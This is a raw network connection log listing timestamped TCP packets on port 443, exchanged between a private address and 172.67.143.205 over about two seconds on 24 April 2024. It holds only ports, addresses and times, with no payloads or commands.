Apr 24, 2024 08:22:03.214485884 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.214541912 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.220639944 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.227514029 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.227607012 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.252091885 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.252186060 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.252209902 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.252275944 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.252557993 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.252624989 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.252650023 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.252706051 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.253724098 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.253788948 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.254565001 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.254713058 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.254745007 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.254800081 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.254816055 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.254875898 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.255314112 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.255386114 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.255496025 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.255626917 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.255647898 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.255666971 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.255671978 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.255743027 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.256455898 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.256463051 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.256542921 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.256601095 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.257623911 CEST	49782	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.257646084 CEST	443	49782	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.257647991 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.257714987 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.257817030 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.258325100 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.258384943 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.259103060 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.259160042 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.259265900 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.259327888 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.259875059 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.260051012 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.260797024 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.264122009 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.264163971 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.264398098 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.264554977 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.264585972 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.264713049 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.265064001 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.265091896 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.265213966 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.265228987 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.275079966 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.275552988 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.275562048 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.276057959 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.276377916 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.276451111 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.276494980 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.280401945 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.280468941 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.281191111 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.281214952 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.281243086 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.281250000 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.281275034 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.282202005 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.282233000 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.282250881 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.282255888 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.282296896 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283037901 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.283088923 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283093929 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.283112049 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.283133984 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283138990 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.283174992 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.283185005 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283297062 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283662081 CEST	49783	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.283674955 CEST	443	49783	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.287010908 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287091970 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.287379026 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287380934 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287503958 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.287586927 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287611008 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287637949 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.287693977 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287811995 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.287857056 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.288064003 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.288079977 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.288075924 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.288189888 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.301525116 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.301599979 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.301724911 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.301789999 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.302511930 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.302582026 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.302608013 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.302732944 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.302742958 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.302824020 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.302881956 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.303041935 CEST	49785	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.303054094 CEST	443	49785	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.308123112 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.312470913 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.312493086 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.312649965 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.312891960 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.312902927 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.322329044 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.322338104 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.360213041 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.360486984 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.360517025 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.361979961 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.362375021 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.362411976 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.362493038 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.362565041 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.362574100 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.413944960 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.596251965 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.596534014 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.596556902 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.596920013 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.597323895 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.597408056 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.597575903 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.597590923 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.600481987 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.600755930 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.600773096 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.601264954 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.601804018 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.601888895 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.601938009 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.601953030 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.615499973 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.615807056 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.615870953 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.616995096 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.617074013 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.617506981 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.617592096 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.617619038 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.617664099 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.618340969 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.622549057 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.622750044 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.622761965 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.623123884 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.623182058 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.624222994 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.624290943 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.624725103 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.624803066 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.624866009 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.624871969 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.627095938 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.627193928 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.627517939 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.627633095 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.627711058 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.627827883 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.648363113 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.648963928 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.648994923 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.650427103 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.650553942 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.651221037 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.651621103 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.651702881 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.652267933 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.652276993 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.666383028 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.666404963 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.666773081 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.666834116 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.671226978 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.671288013 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:03.696773052 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.712471008 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.712469101 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:03.712487936 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.004401922 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.004568100 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.004688978 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.004692078 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.004743099 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.005652905 CEST	49789	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.005676031 CEST	443	49789	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.045941114 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.046082973 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.046138048 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.046149015 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.046324015 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.046382904 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.052973032 CEST	49790	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.052998066 CEST	443	49790	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.136188984 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.136287928 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.136437893 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.137443066 CEST	49791	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.137463093 CEST	443	49791	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.159534931 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.159657001 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.160162926 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.160645008 CEST	49794	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.160685062 CEST	443	49794	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.166798115 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.166857958 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.167010069 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.167445898 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.167476892 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.276676893 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.276751041 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.276797056 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.277265072 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.277425051 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.277484894 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.278479099 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.278785944 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.278837919 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.280056000 CEST	49793	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.280075073 CEST	443	49793	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.281193972 CEST	49792	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.281205893 CEST	443	49792	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.282258034 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.282339096 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.282516003 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.283174992 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.283195972 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.283284903 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.283512115 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.283545971 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.283596992 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.284154892 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.284190893 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.284236908 CEST	49797	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.284257889 CEST	443	49797	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.285332918 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.285350084 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.285661936 CEST	49803	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.285685062 CEST	443	49803	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.286026001 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.286051989 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.286263943 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.286808014 CEST	49804	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.286823034 CEST	443	49804	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.295788050 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.295811892 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.295864105 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.296024084 CEST	49805	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.296036005 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.297719955 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.297738075 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.297909021 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.298077106 CEST	49806	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.298090935 CEST	443	49806	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301409960 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301541090 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301606894 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.301628113 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301667929 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301721096 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.301753044 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301904917 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.301995993 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.302870989 CEST	49795	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.302891016 CEST	443	49795	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.306102991 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.306128025 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.306282043 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.307717085 CEST	49807	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.307735920 CEST	443	49807	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350003004 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350066900 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350101948 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350145102 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350152016 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.350162029 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350187063 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.350191116 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350229025 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.350234032 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350301981 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.350415945 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.353182077 CEST	49796	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.353195906 CEST	443	49796	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.357063055 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.357094049 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.357161999 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.357367992 CEST	49808	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.357384920 CEST	443	49808	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.501741886 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.502139091 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.502192020 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.503345013 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.503689051 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.503840923 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.503854036 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.503875971 CEST	443	49800	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.557686090 CEST	49800	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.615897894 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.616163969 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.616188049 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.616684914 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.617033005 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.617136955 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.617539883 CEST	49802	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.617556095 CEST	443	49802	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.617722034 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.617925882 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.617963076 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.618468046 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.619184017 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.619312048 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.619446039 CEST	49801	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:04.619476080 CEST	443	49801	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625075102 CEST	443	49805	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:04.625261068 CEST	49805	443	192.168.2.6	172.67.143.205
